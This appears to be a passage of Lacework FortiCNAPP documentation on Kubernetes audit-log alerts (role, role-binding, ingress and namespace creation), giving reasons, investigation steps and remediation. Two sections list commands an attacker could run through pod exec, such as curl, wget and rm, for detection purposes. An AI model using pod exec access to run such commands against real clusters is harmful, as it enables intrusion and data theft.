4. Examine the RBAC (Role-Based Access Control) configuration in your Kubernetes cluster. Ensure that the RBAC policies are properly defined and follow the principle of least privilege. Review the roles and role bindings to identify any misconfigurations or overly permissive roles that may allow the creation of cluster roles with excessive access.
5. Kubernetes generates events for various activities within the cluster. Check the events related to the creation of cluster roles by running the following command, then look for any events indicating the creation of cluster roles with broad access.

   ```
   kubectl get events
   ```

6. Examine the Kubernetes configuration files used for cluster setup. Check for any explicit definitions of cluster roles that grant full access to cluster-level resources.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Cluster Role With Pod Exec

This alert occurs when Lacework FortiCNAPP detects the creation of a cluster role that allows the ability to execute commands inside a pod, also called remote access to pods (`kubectl exec`).

Why this alert is important

Attackers can potentially exploit the ability to execute commands inside a pod in various ways to carry out malicious activities. Here are some examples:

- *Shell commands:*
  - `rm`: Remove files or directories
  - `mv`: Move or rename files or directories
  - `cp`: Copy files or directories
  - `touch`: Create a new file or update the timestamp of an existing file
  - `chmod`: Change file permissions
- *Networking commands:*
  - `ping`: Send ICMP echo requests to a specified network host
  - `nslookup`: Perform DNS lookups to retrieve IP addresses or other DNS records
  - `curl`: Make HTTP/HTTPS requests to a specified URL
  - `wget`: Download files from the web
- *Process management commands:*
  - `kill`: Send a signal to terminate a process
  - `pgrep`: List process IDs based on criteria
- *File manipulation and inspection commands:*
  - `grep`: Search for a specific pattern in files or input
  - `sed`: Invoke stream editor for modifying text
  - `awk`: Text processing language for manipulating data and generating reports

Investigation

Follow these steps to investigate the alert:

1. Check the audit logs for any activities related to creating or modifying cluster roles. Look for entries that indicate the creation or modification of roles with permissions to create pods.
2. Examine the RBAC (Role-Based Access Control) configurations in your Kubernetes cluster. Verify the existing cluster roles and their associated permissions. Pay attention to any roles that grant pod creation permissions.
3. If you use version control systems like Git to manage your Kubernetes configurations, inspect the history and changes to RBAC files. Look for any recent changes that introduce or modify cluster roles allowing pod creation.
4. Assess the access controls and authentication mechanisms in your Kubernetes cluster. Identify who has the privileges to create or modify cluster roles. Look for any unauthorized or suspicious users or service accounts with such permissions.
5. Engage with your team members, particularly those responsible for managing RBAC configurations and access controls. Inquire about recent changes or updates to cluster roles granting pod creation permissions.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Cluster Role With Pod Write

This alert occurs when Lacework FortiCNAPP detects the creation of a cluster role that grants write permission to pods.

Why this alert is important

With this permission, a user can perform various actions, including:

- Create new pods with specific configurations and deploy them within the cluster.
- Make changes to the configuration of existing pods, such as updating environment variables, resource limits, or networking settings.
- Delete pods.
- Scale pods.

- Modify pod status and metadata.
- Attach storage volumes.
- Execute commands inside pods.

Investigation

Follow these steps to investigate the alert:

1. Check the audit logs for activities related to creating or modifying cluster roles. Pay attention to the user or service account associated with these activities. Look for entries that indicate the creation or modification of roles with permissions to write to pods.
2. Examine the RBAC (Role-Based Access Control) configurations in your Kubernetes cluster. Verify the existing cluster roles and their associated permissions. Specifically, look for roles that grant write permission to pods.
3. If you use version control systems like Git to manage your Kubernetes configurations, inspect the history and changes to RBAC files. Analyze the commits and review who made the changes. Look for any recent changes introducing or modifying cluster roles that grant write permission to pods.
4. Assess the access controls and authentication mechanisms in your Kubernetes cluster. Identify who has the privileges to create or modify cluster roles. Look for any unauthorized or suspicious users or service accounts with such permissions. Cross-reference this information with the RBAC configurations to identify potential discrepancies.
5. Engage with your team members, particularly those responsible for managing RBAC configurations and access controls. Inquire about recent changes or updates to cluster roles granting write permission to pods. Discuss the purpose and intention behind these changes and verify if they align with your organization's policies and requirements.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Cluster Role With Secrets

This alert occurs when Lacework FortiCNAPP detects the creation of a cluster role that grants access to all secrets.

Why this alert is important

In Kubernetes, the `secret` object is used to store sensitive information securely. It is primarily designed to hold small pieces of confidential data, such as passwords, API tokens, and TLS certificates, that applications running within the cluster may need access to.

Granting unrestricted access to all secrets through a cluster role increases the risk of unauthorized access, data breaches, and potential compromise of sensitive information. Detecting such a creation allows organizations to promptly address the issue and mitigate the security risks associated with unrestricted access.

Investigation

Follow these steps to investigate the alert:

1. Collect logs from the Kubernetes control plane, cluster components, and relevant security tools or systems. These logs may include audit logs, container logs, system logs, and any logs generated by access control or monitoring tools.
2. Search for events related to the cluster role creation, role bindings change, or secret modifications. Look for suspicious or unexpected activities that indicate the cluster role creation with broad access to secrets.
3. Examine the role bindings within your Kubernetes cluster to identify any bindings that provide access to secrets. Pay close attention to cluster-wide roles or roles that grant broad privileges across namespaces.
4. Analyze the audit logs to trace the creation of the cluster role and the associated events. Look for abnormal patterns, such as privileged actions performed by unauthorized users or unusual timestamps indicating potential malicious activity.
5. Investigate the users or systems associated with the creation of the cluster role. Identify the entities responsible and review their permissions, access history, and any recent changes to their roles or privileges.
6. Monitor network traffic within the cluster to identify any suspicious connections or communications related to the cluster role creation. Analyze network logs and inspect endpoints for signs of compromise or unauthorized access attempts.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Ingress Created

This alert occurs when Lacework FortiCNAPP detects an ingress was created.

In Kubernetes, an ingress is an API object that manages external access to services running within the cluster. It serves as a Kubernetes resource that allows you to define rules for routing incoming traffic to specific services based on criteria such as the hostname, path, or request headers.

Why this alert is important

By monitoring the creation of ingress resources, you can identify any unauthorized or suspicious access points to your cluster services, mitigating the risk of accidental exposure to internal services or containers. Detecting unexpected or unauthorized Ingresses enables early detection of potential security breaches or attempts to improperly expose services improperly, bolstering the overall security of your cluster.

Investigation

Follow these steps to investigate the alert:

1. Collect logs from the Kubernetes control plane, cluster components, and relevant monitoring systems. This may include audit logs, container logs, Ingress controller logs, and any other logs that capture relevant activities.
2. Search for events related to the creation of Ingress resources. Look for logs, alerts, or notifications indicating the creation or modification of Ingress objects within the cluster.
3. Examine the Kubernetes API server or configuration management system to inspect the Ingress configurations. Look for any recently created or modified Ingress resources and analyze their specifications, including hostnames, paths, and backend services.
4. Assess the permissions and access control settings in your cluster. Identify the users or service accounts with the privileges to create or modify Ingress resources. Review their roles, role bindings, or RBAC settings to determine if there are any unauthorized or misconfigured access permissions.
5. Monitor network traffic within the cluster to identify suspicious connections or communication related to the Ingress creation. Analyze network logs, traffic flows, or packet captures to trace the source and destination of traffic associated with the Ingress resources.
6. Investigate the users or systems associated with the creation of the Ingress resources. Identify the entities responsible and review their permissions, access history, and any recent changes to their roles or privileges. Look for any anomalous activities or potential indicators of compromise.

Resolution

Follow these steps to resolve the alert:

1. Identify the malicious Ingress resource and disable or remove it from your cluster.
2. Evaluate the potential impact of the malicious Ingress creation. Assess the affected services and data to understand the extent of the compromise. Determine if any unauthorized access or data breaches have occurred as a result.

3. Treat the situation as a security incident and follow your organization's incident response plan. Activate your incident response team and involve relevant stakeholders such as security personnel, system administrators, and legal or compliance teams.
4. Perform a thorough investigation to understand the root cause of the malicious Ingress creation. Analyze logs, audit trails, and any available evidence to identify how the unauthorized Ingress was created and any associated activities or indicators of compromise.
5. Take steps to remediate the issue and prevent similar incidents in the future. This may involve:
   - Patch or fix vulnerabilities that were exploited to create the malicious Ingress.
   - Review and adjust access control settings, roles, and permissions to prevent unauthorized Ingress creations.
   - Implement stronger security measures such as network policies, intrusion detection systems, or security auditing tools.
   - Update security practices and training to raise awareness among users and administrators about the importance of secure Ingress management.
6. Inform relevant stakeholders, including management, affected teams, customers, or regulatory authorities, about the incident as required by your organization's policies and legal obligations.
7. Continuously monitor your cluster for any suspicious activities or further unauthorized Ingress creations. Conduct a post-incident review to identify lessons learned, update security controls, and improve incident response procedures.

K8s Audit Log Namespace Created

This alert occurs when Lacework FortiCNAPP detects a namespace was created.

Why this alert is important

Monitoring namespace creation helps ensure the security of your Kubernetes cluster. The unauthorized creation of namespaces can indicate malicious activity or a potential security breach.

Investigation

Follow these steps to investigate the alert:

1. Gather logs from the Kubernetes control plane, including the API server logs and other relevant logging systems or tools. These logs may provide information about namespace creation events or any associated activities.
2. Audit logs can be valuable sources of information regarding namespace creations. Analyze the audit logs to identify any recorded events related to namespace creation, modifications, or deletions. Look for relevant timestamps, the user or service account information, and any other details that can help trace the creation of the namespace.
3. Inspect the Kubernetes API server or utilize relevant command-line tools to query and inspect the state of namespaces. Look for recently created namespaces and examine their specifications, including metadata, labels, and associated resources. Pay attention to any anomalies or inconsistencies in the namespace configurations.
4. Identify the users or service accounts with the necessary permissions to create namespaces. Assess whether the creation of the namespace aligns with the assigned permissions of the user or service account. Review the relevant roles, role bindings, or RBAC (Role-Based Access Control) settings to determine if any unauthorized access or misconfigurations exist.

5. Monitor network traffic within the cluster to identify any suspicious connections or communication related to the namespace creation. Analyze network logs, traffic flows, or packet captures to trace the source and destination of traffic associated with the namespace creation event. Look for any unusual patterns or unexpected network activity.
6. If you have a change management or incident tracking system in place, cross-reference the namespace creation event with any related change requests or incident reports. This can provide additional context and help identify any authorized or unauthorized changes.

Resolution

Follow these steps to resolve the alert:

1. Disable or remove the malicious namespace from your Kubernetes cluster. Take necessary precautions to ensure that any associated resources, such as deployments, services, or pods, are terminated or cleaned up.
2. Treat the situation as a security incident and follow your organization's incident response plan. Activate your incident response team and involve relevant stakeholders, such as security personnel, system administrators, and legal or compliance teams.
3. Conduct a thorough investigation to understand the root cause of the malicious namespace creation. Analyze logs, audit trails, and any available evidence to identify how the unauthorized namespace was created and any associated activities or indicators of compromise.
4. Take steps to remediate the issue and prevent similar incidents in the future, including:
   - Patch or fix vulnerabilities that were exploited to create the malicious namespace.
   - Review and adjust access control settings, roles, and permissions to prevent unauthorized namespace creations.
   - Implement stronger security measures, such as network policies, container security solutions, or intrusion detection systems. -cUpdate security practices and provide training to raise awareness among users and administrators about the importance of secure namespace management.
5. Inform relevant stakeholders, including management, affected teams, customers, or regulatory authorities, about the incident as required by your organization's policies and legal obligations.
6. Continuously monitor your cluster for any suspicious activities or other unauthorized namespace creations. Conduct a post-incident review to identify lessons learned, update security controls, and improve incident response procedures.

K8s Audit Log Resource Created

This alert occurs when Lacework FortiCNAPP detects a new resource was created.

Why this alert is important

Unauthorized or unexpected resource creations can signify malicious activity or a security breach. Detecting new resources allows you to identify potential unauthorized access, configuration errors, or attempts to compromise the system. It enables you to mitigate security risks and immediately protect your cluster and applications.

Investigation

Follow these steps to investigate the alert:

1. Gather logs from the Kubernetes control plane, cluster components, and relevant logging systems. Look for logs that capture resource creation events, such as API server logs, cluster event logs, or audit logs. These logs can provide information about the timing, source, and details of the resource creation.
2. Kubernetes maintains an event stream that records resource creation, modification, or deletion events. Check the event stream to identify any recent events related to creating the resource you are investigating. Look for events that indicate the resource type, name, and relevant details.
3. Use the Kubernetes API server or relevant command-line tools (such as kubectl) to query the state of the cluster and inspect the resources. Look for recently created resources, including their metadata, labels, and specifications. Examine the creation timestamps and any associated information that can help trace the origin of the resource creation.
4. If you use a configuration management system (e.g., GitOps), review the configuration history to identify any recent changes related to the resource creation. Look for commit messages, pull requests, or other indicators that highlight the introduction of the new resource.
5. Investigate the users or service accounts with permission to create resources. Check their access controls, roles, and role bindings to determine if unauthorized access or misconfigurations exist. Review authentication and authorization mechanisms to ensure only authorized entities can create resources.
6. Monitor network traffic within the cluster to identify any suspicious connections or communication related to the resource creation. Analyze network logs, traffic flows, or packet captures to trace the source and destination of traffic associated with the resource crea

Resolution

Follow these steps to resolve the alert:

1. Disable or remove the malicious resource from your cluster. Depending on the severity of the threat, you may choose to stop the resource, delete it, or take appropriate actions to prevent it from causing harm. Ensure that associated resources, such as pods or services, are terminated or cleaned up.
2. Evaluate the potential impact of the maliciously created resource. Determine if it has caused unauthorized access, data breaches, or disruptions to your applications or systems. Assess the affected services and data to understand the extent of the compromise.
3. Treat the situation as a security incident and follow your organization's incident response plan. Activate your incident response team and involve relevant stakeholders, such as security personnel, system administrators, and legal or compliance teams. If needed, document the incident, capture relevant evidence, and maintain a chain of custody for forensic purposes.
4. Conduct a thorough investigation to understand how the malicious resource was created and any associated activities or indicators of compromise. Analyze logs, audit trails, and any available evidence to identify the vulnerabilities or security gaps that allowed the resource to be created.
5. Take steps to remediate the issue and strengthen your security measures to prevent similar incidents in the future. This may involve patching vulnerabilities, reviewing and adjusting access controls, implementing stronger security measures such as network policies or intrusion detection systems, and updating security practices and training.

K8s Audit Log Role Created

This alert occurs when Lacework FortiCNAPP detects a role was created.

Why this alert is important

Unauthorized or maliciously created roles can lead to unauthorized access and potential security breaches. By monitoring role creation, you can identify any suspicious or unauthorized roles and take immediate action to mitigate security risks.

Investigation

Follow these steps to investigate the alert:

1. Look for any indicators that suggest a malicious role was created, such as unexpected changes in permissions, unusual role names, or unauthorized access attempts.
2. Collect relevant information about the suspicious role, including its name, associated user or service account, and any other details available.
3. Check the Kubernetes audit logs to identify any relevant events or activities related to the role creation. Look for log entries that indicate role creation, modifications, or access attempts by unauthorized entities.
4. Review your Kubernetes cluster's Role-Based Access Control (RBAC) configuration to understand the existing roles, role bindings, and service accounts. Compare the suspicious and authorized roles to determine if they are legitimate or unauthorized.
5. Examine cluster-wide roles to identify suspicious roles with excessive privileges or conflicting permissions that could indicate a maliciously created role.
6. Analyze the RBAC objects (`Roles`, `RoleBindings`, `ClusterRoles`, `ClusterRoleBindings`) associated with the suspicious role. Check for inconsistencies, unexpected modifications, or suspicious references to users or service accounts.
7. Look for relevant events or log entries related to creating or modifying RBAC objects. Check container, system, and other relevant logs to identify suspicious activities or anomalies.
8. Determine the source of the malicious role creation. It could be an external attacker, a compromised account, or an internal user with unauthorized access. Identify the root cause, such as misconfigured permissions, vulnerabilities, or social engineering.

Resolution

Follow these steps to resolve the alert:

1. Disable or remove the unauthorized role from your Kubernetes cluster. Take necessary actions to ensure that any associated permissions or access granted by the role are revoked.
2. Investigate and identify the source of the unauthorized role creation. Determine whether it was due to a compromised account, misconfigured permissions, or other security vulnerabilities. This step will help you address the root cause of the issue.

3. Review your Kubernetes RBAC configuration and ensure it aligns with the principle of least privilege. Remove unnecessary roles, role bindings, or service accounts to reduce the attack surface.
4. Strengthen security measures by implementing multi-factor authentication (MFA) for user accounts, regularly updating and patching your Kubernetes cluster, and conducting security audits and assessments.
5. Monitor your Kubernetes cluster for any further unauthorized role creations or suspicious activities. Implement logging and monitoring solutions to detect and alert potential security breaches.
6. Consider implementing a change management process that includes reviewing and approving any role creations or modifications before they are applied to the production environment.
7. Keep your Kubernetes cluster and associated components up to date with the latest security patches and updates. Regularly review and apply security best practices recommended by the Kubernetes community and relevant security resources.

K8s Audit Log Role Binding Created

This alert occurs when Lacework FortiCNAPP detects a role binding was created. A role binding grants the permissions defined in a role to a user or set of users. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted.

Why this alert is important

If a malicious actor creates a role binding without proper authorization, they may gain unauthorized access to resources, manipulate or steal sensitive data, or disrupt the cluster's operations. Detecting such unauthorized role-binding creations helps ensure that only legitimate users have appropriate access privileges.

Investigation

Follow these steps to investigate the alert:

1. Review your Kubernetes cluster's role bindings to identify any unusual or unauthorized role bindings. Look for inconsistencies in naming conventions, unexpected permissions, or associations with unknown users or service accounts.
2. Collect information about the suspicious role binding, such as its name, associated user or service account, and other available details. Note any suspicious or anomalous behavior associated with the role binding. Review the Kubernetes audit logs to identify any relevant events or activities related to the creation of the suspicious role binding. Look for log entries that indicate role-binding creations, modifications, or unauthorized access attempts.
3. Examine your Kubernetes cluster's Role-Based Access Control (RBAC) configuration to understand the existing role bindings, roles, and service accounts. Compare the suspicious role binding with authorized role bindings to determine its legitimacy.
4. Investigate the RBAC objects (`Role`, `RoleBinding`, `ClusterRole`, `ClusterRoleBinding`) associated with the suspicious role binding. Look for inconsistencies, unexpected modifications, or suspicious references to users or service accounts.
5. Check the cluster-wide role bindings to identify any suspicious role bindings that grant excessive privileges or have conflicting permissions. These can indicate a maliciously created role binding.

6. Look for relevant events or log entries related to creating or modifying RBAC objects. Check container logs, system logs, and other relevant logs to identify suspicious activities or anomalies.
7. Identify the source of the malicious role-binding creation. It could be an external attacker, a compromised account, or an insider with unauthorized access. Determine the intent behind creating the role binding and investigate the root cause, such as misconfigured permissions, vulnerabilities, or social engineering.

Resolution

Follow these steps to resolve the alert:

1. Disable or remove the unauthorized role binding from your Kubernetes cluster. Take necessary actions to ensure that any associated permissions or access granted by the role binding are revoked.
2. Investigate and identify the source of the unauthorized role-binding creation. Determine whether it was due to a compromised account, misconfigured permissions, or other security vulnerabilities. This step will help you address the root cause of the issue.
3. Review your Kubernetes RBAC configuration and ensure it aligns with the principle of least privilege. Remove unnecessary role bindings or service accounts to reduce the attack surface.
4. Strengthen security measures by implementing multi-factor authentication (MFA) for user accounts, regularly updating and patching your Kubernetes cluster, and conducting security audits and assessments.
5. Monitor your Kubernetes cluster for further unauthorized role-binding creations or suspicious activities. Implement logging and monitoring solutions to detect and alert potential security breaches.
6. Consider implementing a change management process that includes reviewing and approving any role-binding creations or modifications before they are applied to the production environment.
7. Keep your Kubernetes cluster and associated components up to date with the latest security patches and updates. Regularly review and apply security best practices recommended by the Kubernetes community and relevant security resources.

K8s Audit Log Role Bindings To Admin

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a role binding to bind the user to a Kubernetes admin role.

Why this alert is important

With admin privileges, a user can have unlimited read/write access to resources within a namespace. This level of access can allow an attacker to do the following:

- Create, modify, or delete Kubernetes resources in that namespace, such as pods, services, and deployments.
- Access and potentially exfiltrate sensitive data stored in Kubernetes secrets or config maps.
- Manipulate or disrupt the functioning of the applications running in that namespace.
- Escalate privileges and gaining access to other namespaces or cluster-level resources.
- Install malicious software or execute arbitrary code in the containers running in that namespace.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the role binding was created.
2. Identify the user or group that was granted the admin privileges. You can find this information in the `subjects` field of the `RoleBinding` object.
3. Determine if the user or group is authorized to have admin privileges.
4. Review the Kubernetes audit logs for any other unauthorized changes to the namespace that may have been made by the user or group in question.

Resolution

Follow these steps to resolve the alert:

1. If the role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Role Bindings To Cluster Admin

his alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a role binding to bind the user to a Kubernetes cluster admin role.

Why this alert is important

Cluster admins are super-user with access to perform any action on any resource. When used in a role binding, the cluster admin role gives full control over every resource in the cluster and in all namespaces.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the role binding was created.
2. Identify the user or group that was granted the admin privileges. You can find this information in the `subjects` field of the `RoleBinding` object.
3. Determine if the user or group is authorized to have admin privileges.
4. Review the Kubernetes audit logs for any other unauthorized changes to the cluster that may have been made by the user or group in question.

Resolution

Follow these steps to resolve the alert:

1. If the role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Role Bindings To Edit

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a role binding to bind the user to an edit role.

Why this alert is important

Users with an edit role have read/write access to most objects in a namespace. It does not allow viewing or modifying roles or role bindings.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the role binding was created.
2. Identify the user or group that was granted the edit privileges. You can find this information in the `subjects` field of the `RoleBinding` object.
3. Determine if the user or group is authorized to have edit privileges.
4. Review the Kubernetes audit logs for any other unauthorized changes to the namespace that may have been made by the user or group in question.

Resolution

Follow these steps to resolve the alert:

1. If the role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Role Bindings To System

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a role binding to bind the user to `system:` prefixed role.

Why this alert is important

The prefix `system:` is reserved for Kubernetes system use. There are many `system:` prefixed default roles which can render clusters inoperable if they are tampered with.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the role binding was created.
2. Identify the user or group that was granted the `system:` prefixed role. You can find this information in the `subjects` field of the `RoleBinding` object.

Resolution

Follow these steps to resolve the alert:

1. If the role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized role binding, and revoke their access if necessary.

3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Role With All Resources

This alert occurs when Lacework FortiCNAPP detects the creation of a role that grants full access to all namespace-level resources.

Why this alert is important

With this role, a user, group, or service account can manipulate and manage any resource within the namespace, including pods, services, config maps, secrets, deployments, and more.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify any relevant events or activities related to the role-binding creation. Look for log entries that indicate role-binding creations, modifications, or unauthorized access attempts. The audit logs can provide valuable information about who performed the action and when it occurred.
2. Review the Kubernetes cluster's Role-Based Access Control (RBAC) configuration to understand the existing role bindings. Compare the authorized role bindings with the suspicious role binding to determine if it is legitimate or unauthorized. Look for inconsistencies, unexpected modifications, or suspicious associations with users or service accounts.
3. Collect information about the suspicious role binding, such as its name, associated user or service account, and other available details. Note any suspicious or anomalous behavior associated with the role binding, such as unusual permissions or naming conventions.
4. Investigate the RBAC objects (`Role`, `RoleBinding`, `ClusterRole`, `ClusterRolebinding`) associated with the suspicious role binding. Look for inconsistencies, unexpected modifications, or suspicious references to users or service accounts. Analyze the relationships between these objects to identify any potential malicious activity.
5. Review the cluster-wide role bindings to identify any suspicious role bindings that grant excessive privileges or have conflicting permissions. These can be indicators of a maliciously created role binding.
6. Determine the source of the unauthorized role-binding creation. It could be an external attacker, a compromised account, or an insider with unauthorized access. Investigate the intent behind creating the role binding and identify the root cause, such as misconfigured permissions, vulnerabilities, or social engineering.

K8s Audit Log Role With Pod Exec

This alert occurs when Lacework FortiCNAPP detects the creation of a role that allows the ability to execute commands inside a pod, also called remote access to pods (`kubectl exec`).

Why this alert is important

Attackers can potentially exploit the ability to execute commands inside a pod in various ways to carry out malicious activities. Here are some examples:

- *Shell commands:*
  - `rm`: Remove files or directories
  - `mv`: Move or rename files or directories
  - `cp`: Copy files or directories
  - `touch`: Create a new file or update the timestamp of an existing file
  - `chmod`: Change file permissions
- *Networking commands:*
  - `ping`: Send ICMP echo requests to a specified network host
  - `nslookup`: Perform DNS lookups to retrieve IP addresses or other DNS records
  - `curl`: Make HTTP/HTTPS requests to a specified URL
  - `wget`: Download files from the web
- *Process management commands:*
  - `kill`: Send a signal to terminate a process
  - `pgrep`: List process IDs based on criteria
- *File manipulation and inspection commands:*
  - `grep`: Search for a specific pattern in files or input
  - `sed`: Invoke stream editor for modifying text
  - `awk`: Text processing language for manipulating data and generating reports

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs for relevant entries related to role creation or modification.
2. Search for the specific `Role` and `RoleBinding` objects that allow command execution within pods. These objects are typically defined in the Kubernetes configuration files or through the Kubernetes API.
3. Examine the configuration of the identified `Role` and `RoleBinding` objects. Pay attention to the associated users, groups, or service accounts that have been granted access permissions. Look for any suspicious or unauthorized entries.
4. Analyze the logs or monitoring data for pod executions. Look for any unusual or unauthorized commands being executed inside the pods associated with the role. This can help identify potential malicious activities.
5. Investigate the activity of the user or service account associated with the role creation. Check for abnormal access patterns, logins from unfamiliar locations, or other signs of compromise.

6. Verify that the `Role` and `RoleBinding` objects adhere to the principle of least privilege. Cross-reference the assigned permissions with the actual requirements of the pods and applications. Ensure that unnecessary or excessive privileges are not granted.
7. Consult the historical data or audit trail within your security monitoring or management systems. Look for any indications of unauthorized role creation or suspicious activities related to the role.

Resolution

Follow these steps to resolve the alert:

1. If the role was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized role, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Role With Pod Write

This alert occurs when Lacework FortiCNAPP detects the creation of a role that grants write permission to pods.

Why this alert is important

If an unauthorized user or entity creates a role that grants write permission to pods, they can potentially modify or manipulate the behavior of running pods. This can lead to data breaches, unauthorized access to sensitive information, or disruption of critical services.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify any relevant events or activities related to creating the suspicious role. Look for log entries indicating role creation, modification, or unauthorized access attempts. Pay specific attention to events related to role bindings and their associated permissions.
2. Review your Kubernetes cluster's Role-Based Access Control (RBAC) configuration to understand the existing roles, role bindings, and permissions. Compare the authorized roles with the suspicious role to determine if it is legitimate or unauthorized. Look for inconsistencies, unexpected modifications, or suspicious associations with pods, users, or service accounts.

3. Investigate the RBAC objects (`Role` and `RoleBinding`) associated with the suspicious role. Look for inconsistencies, unexpected modifications, or suspicious references to pods, users, or service accounts. Analyze the relationships between these objects to identify any potential malicious activity.
4. Inspect the configurations of pods and deployments that are associated with the suspicious role. Look for any unauthorized modifications or changes that could indicate the use of the role's written permission. Check for anomalies in container images, command configurations, or volume mounts.
5. Speak with the administrators, developers, or users who have access to create roles and role bindings. Obtain information about their activities, intentions, and any recent changes they have made. This can help identify any potential authorized actions that may have been misinterpreted as unauthorized.
6. Involve your security and incident response teams to gather additional insights and expertise. They can assist in analyzing the logs, conducting forensic investigations, and providing guidance on security best practices to prevent similar incidents in the future.

Resolution

Follow these steps to resolve the alert:

1. If the role was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized role, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Role With Secrets

This alert occurs when Lacework FortiCNAPP detects the creation of a role that grants access to all secrets within a namespace.

Why this alert is important

Secrets in Kubernetes often contain sensitive information such as API keys, passwords, and certificates. If a role is created that grants access to all secrets within a namespace, it can potentially allow unauthorized individuals or applications to retrieve sensitive data. Detecting such roles is crucial to prevent unauthorized access and data breaches.

Investigation

Follow these steps to investigate the alert:

1. Review the Kubernetes audit logs for relevant entries related to role creations or modifications within the namespace of interest.
2. Search for the specific `Role` and `RoleBinding` objects associated with the namespace. These objects are typically defined in the Kubernetes configuration files or managed through the Kubernetes API.
3. Pay close attention to the permissions and rules defined within the role. Look for any indications of access to secrets within the namespace.
4. Determine which users or service accounts are associated with the role. Investigate their activity and access patterns. Look for suspicious or unauthorized access attempts related to secrets within the namespace.
5. Verify that the role adheres to the principle of least privilege. Ensure that access is only granted to the necessary entities and that unnecessary or excessive privileges are not present.
